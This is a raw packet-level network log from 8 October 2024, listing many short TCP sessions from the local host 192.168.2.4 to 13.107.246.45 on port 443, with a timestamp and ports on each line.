Oct 8, 2024 02:46:17.929553986 CEST	443	51431	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.929580927 CEST	51431	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.929594994 CEST	443	51431	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.932492018 CEST	51436	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.932574034 CEST	443	51436	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.932642937 CEST	51436	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.932861090 CEST	51436	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.932878971 CEST	443	51436	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.062645912 CEST	443	51433	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.063215017 CEST	51433	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.063271999 CEST	443	51434	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.063297987 CEST	443	51433	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.063499928 CEST	51433	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.063515902 CEST	443	51433	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.063779116 CEST	51434	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.063801050 CEST	443	51434	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.063956022 CEST	443	51432	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.064269066 CEST	51434	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.064280033 CEST	443	51434	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.064326048 CEST	51432	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.064412117 CEST	443	51432	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.064625025 CEST	51432	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.064640045 CEST	443	51432	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.134488106 CEST	443	51435	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.137896061 CEST	51435	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.137974024 CEST	443	51435	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.138170958 CEST	51435	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.138185024 CEST	443	51435	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.161092997 CEST	443	51433	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.161432981 CEST	443	51433	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.161617041 CEST	51433	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.161617994 CEST	51433	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.161617994 CEST	51433	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.161971092 CEST	443	51434	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.162137985 CEST	443	51434	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.162184954 CEST	443	51434	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.162194967 CEST	51434	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.162229061 CEST	51434	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.162328005 CEST	51434	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.162370920 CEST	443	51434	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.162399054 CEST	51434	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.162415028 CEST	443	51434	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.162832022 CEST	443	51432	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.162960052 CEST	443	51432	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.163057089 CEST	51432	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.163057089 CEST	51432	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.163057089 CEST	51432	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.164652109 CEST	51437	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.164686918 CEST	443	51437	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.164752960 CEST	51437	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.164797068 CEST	51438	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.164803028 CEST	443	51438	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.164845943 CEST	51438	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.164859056 CEST	51437	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.164866924 CEST	443	51437	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.164992094 CEST	51438	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.165002108 CEST	443	51438	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.165760040 CEST	51439	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.165817022 CEST	443	51439	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.165880919 CEST	51439	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.165997982 CEST	51439	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.166013956 CEST	443	51439	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.233490944 CEST	443	51435	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.233586073 CEST	443	51435	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.233777046 CEST	51435	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.233921051 CEST	51435	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.233921051 CEST	51435	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.233971119 CEST	443	51435	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.233997107 CEST	443	51435	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.236289024 CEST	51440	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.236383915 CEST	443	51440	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.236493111 CEST	51440	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.236630917 CEST	51440	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.236665010 CEST	443	51440	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.470622063 CEST	51433	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.470659018 CEST	51432	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.470679998 CEST	443	51433	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.470750093 CEST	443	51432	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.579832077 CEST	443	51436	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.580352068 CEST	51436	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.580420017 CEST	443	51436	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.580759048 CEST	51436	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.580766916 CEST	443	51436	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.730683088 CEST	443	51436	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.730752945 CEST	443	51436	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.730866909 CEST	443	51436	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.730863094 CEST	51436	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.730932951 CEST	51436	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.731107950 CEST	51436	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.731143951 CEST	443	51436	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.731161118 CEST	51436	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.731168985 CEST	443	51436	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.733889103 CEST	51441	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.733933926 CEST	443	51441	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.734098911 CEST	51441	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.734286070 CEST	51441	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.734297991 CEST	443	51441	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.833262920 CEST	443	51439	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.833827972 CEST	51439	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.833864927 CEST	443	51439	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.834259033 CEST	51439	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.834265947 CEST	443	51439	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.840095997 CEST	443	51437	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.840162992 CEST	443	51438	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.840519905 CEST	51438	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.840538979 CEST	443	51438	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.840627909 CEST	51437	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.840632915 CEST	443	51437	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.840941906 CEST	51438	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.840945959 CEST	443	51438	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.841116905 CEST	51437	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.841120958 CEST	443	51437	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.934513092 CEST	443	51440	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.934916973 CEST	51440	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.934966087 CEST	443	51440	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.935324907 CEST	51440	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.935331106 CEST	443	51440	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.937273979 CEST	443	51437	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.937582970 CEST	443	51439	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.937622070 CEST	443	51437	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.937711954 CEST	51437	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.937737942 CEST	51437	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.937753916 CEST	443	51437	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.938446999 CEST	443	51439	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.938507080 CEST	51439	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.938581944 CEST	51439	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.938581944 CEST	51439	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.938611984 CEST	443	51439	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.938627005 CEST	443	51439	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.941379070 CEST	51442	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.941472054 CEST	443	51442	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.941550970 CEST	51442	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.941904068 CEST	51442	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.941936016 CEST	443	51442	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.942302942 CEST	51443	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.942339897 CEST	443	51443	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.942456961 CEST	51443	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.942583084 CEST	51443	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.942598104 CEST	443	51443	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.948277950 CEST	443	51438	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.948539972 CEST	443	51438	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.948601961 CEST	51438	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.948652029 CEST	51438	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.948658943 CEST	443	51438	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.948669910 CEST	51438	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.948674917 CEST	443	51438	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.950562954 CEST	51444	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.950647116 CEST	443	51444	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:18.950726986 CEST	51444	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.950838089 CEST	51444	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:18.950860977 CEST	443	51444	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.040781021 CEST	443	51440	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.040893078 CEST	443	51440	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.040946007 CEST	51440	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.040952921 CEST	443	51440	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.040990114 CEST	51440	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.041093111 CEST	51440	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.041112900 CEST	443	51440	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.041125059 CEST	51440	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.041130066 CEST	443	51440	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.043339968 CEST	51445	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.043454885 CEST	443	51445	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.043529987 CEST	51445	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.043698072 CEST	51445	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.043711901 CEST	443	51445	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.377135992 CEST	443	51441	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.381123066 CEST	51441	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.381143093 CEST	443	51441	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.381532907 CEST	51441	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.381536007 CEST	443	51441	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.477577925 CEST	443	51441	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.477763891 CEST	443	51441	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.477962971 CEST	51441	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.478142023 CEST	51441	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.478192091 CEST	443	51441	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.478219986 CEST	51441	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.478235960 CEST	443	51441	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.480423927 CEST	51446	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.480463982 CEST	443	51446	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.480539083 CEST	51446	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.480644941 CEST	51446	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.480652094 CEST	443	51446	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.580985069 CEST	443	51443	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.583981991 CEST	51443	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.584027052 CEST	443	51443	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.584389925 CEST	51443	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.584394932 CEST	443	51443	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.587256908 CEST	443	51444	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.589011908 CEST	51444	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.589098930 CEST	443	51444	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.589307070 CEST	51444	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.589322090 CEST	443	51444	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.680011988 CEST	443	51443	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.680094004 CEST	443	51443	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.680149078 CEST	51443	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.680469990 CEST	51443	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.680500984 CEST	443	51443	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.680526972 CEST	51443	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.680532932 CEST	443	51443	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.682966948 CEST	51447	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.683065891 CEST	443	51447	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.683150053 CEST	51447	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.683517933 CEST	51447	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.683552980 CEST	443	51447	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.686410904 CEST	443	51444	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.686986923 CEST	443	51444	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.687133074 CEST	51444	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.687186003 CEST	51444	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.687211990 CEST	443	51444	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.687244892 CEST	51444	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.687258959 CEST	443	51444	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.689233065 CEST	51448	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.689266920 CEST	443	51448	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.689368010 CEST	51448	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.689760923 CEST	51448	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.689775944 CEST	443	51448	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.696400881 CEST	443	51445	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.696736097 CEST	51445	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.696751118 CEST	443	51445	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.697114944 CEST	51445	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.697118998 CEST	443	51445	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.799449921 CEST	443	51445	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.799655914 CEST	443	51445	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.799731970 CEST	51445	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.807207108 CEST	51445	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.807241917 CEST	443	51445	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.807255030 CEST	51445	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.807260036 CEST	443	51445	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.811747074 CEST	51449	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.811837912 CEST	443	51449	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:19.811916113 CEST	51449	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.812123060 CEST	51449	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:19.812149048 CEST	443	51449	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.127970934 CEST	443	51446	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.134356976 CEST	51446	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.134380102 CEST	443	51446	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.134701967 CEST	51446	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.134706020 CEST	443	51446	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.230679989 CEST	443	51446	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.230865955 CEST	443	51446	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.230937958 CEST	51446	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.231236935 CEST	51446	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.231256008 CEST	443	51446	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.231265068 CEST	51446	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.231271982 CEST	443	51446	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.288259983 CEST	51450	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.288327932 CEST	443	51450	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.288413048 CEST	51450	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.291440010 CEST	51450	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.291465998 CEST	443	51450	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.355189085 CEST	443	51448	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.358843088 CEST	51448	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.358860016 CEST	443	51448	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.359276056 CEST	51448	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.359280109 CEST	443	51448	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.366122007 CEST	443	51447	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.373720884 CEST	51447	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.373786926 CEST	443	51447	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.381555080 CEST	51447	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.381577969 CEST	443	51447	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.457484961 CEST	443	51448	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.457653999 CEST	443	51448	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.457787037 CEST	51448	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.457844019 CEST	51448	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.457861900 CEST	443	51448	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.457871914 CEST	51448	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.457876921 CEST	443	51448	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.462806940 CEST	443	51449	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.465082884 CEST	51451	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.465117931 CEST	443	51451	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.465333939 CEST	51451	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.465415001 CEST	51449	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.465451002 CEST	443	51449	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.465888977 CEST	51449	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.465895891 CEST	443	51449	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.465987921 CEST	51451	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.465996981 CEST	443	51451	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.482336998 CEST	443	51447	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.482495070 CEST	443	51447	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.482580900 CEST	51447	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.482738018 CEST	51447	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.482738018 CEST	51447	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.482785940 CEST	443	51447	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.482814074 CEST	443	51447	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.484858990 CEST	51452	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.484931946 CEST	443	51452	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.485049963 CEST	51452	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.485153913 CEST	51452	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.485173941 CEST	443	51452	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.564893961 CEST	443	51449	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.565256119 CEST	443	51449	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.565387011 CEST	51449	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.566776037 CEST	51449	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.566807985 CEST	443	51449	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.582555056 CEST	51453	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.582658052 CEST	443	51453	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.582848072 CEST	51453	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.582995892 CEST	51453	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.583015919 CEST	443	51453	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.932769060 CEST	443	51450	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.933259010 CEST	51450	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.933305025 CEST	443	51450	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:20.933670998 CEST	51450	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:20.933686018 CEST	443	51450	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.031747103 CEST	443	51450	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.031822920 CEST	443	51450	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.031899929 CEST	51450	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.031940937 CEST	443	51450	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.031969070 CEST	443	51450	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.032011032 CEST	51450	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.032069921 CEST	51450	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.032092094 CEST	443	51450	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.032104969 CEST	51450	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.032111883 CEST	443	51450	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.034773111 CEST	51454	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.034868002 CEST	443	51454	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.034945011 CEST	51454	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.035087109 CEST	51454	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.035106897 CEST	443	51454	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.105590105 CEST	443	51451	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.106074095 CEST	51451	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.106089115 CEST	443	51451	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.106493950 CEST	51451	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.106498003 CEST	443	51451	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.121263027 CEST	443	51452	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.121838093 CEST	51452	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.121927023 CEST	443	51452	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.122020960 CEST	51452	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.122036934 CEST	443	51452	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.210665941 CEST	443	51451	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.210963011 CEST	443	51451	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.211097002 CEST	51451	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.219224930 CEST	443	51453	13.107.246.45	192.168.2.4
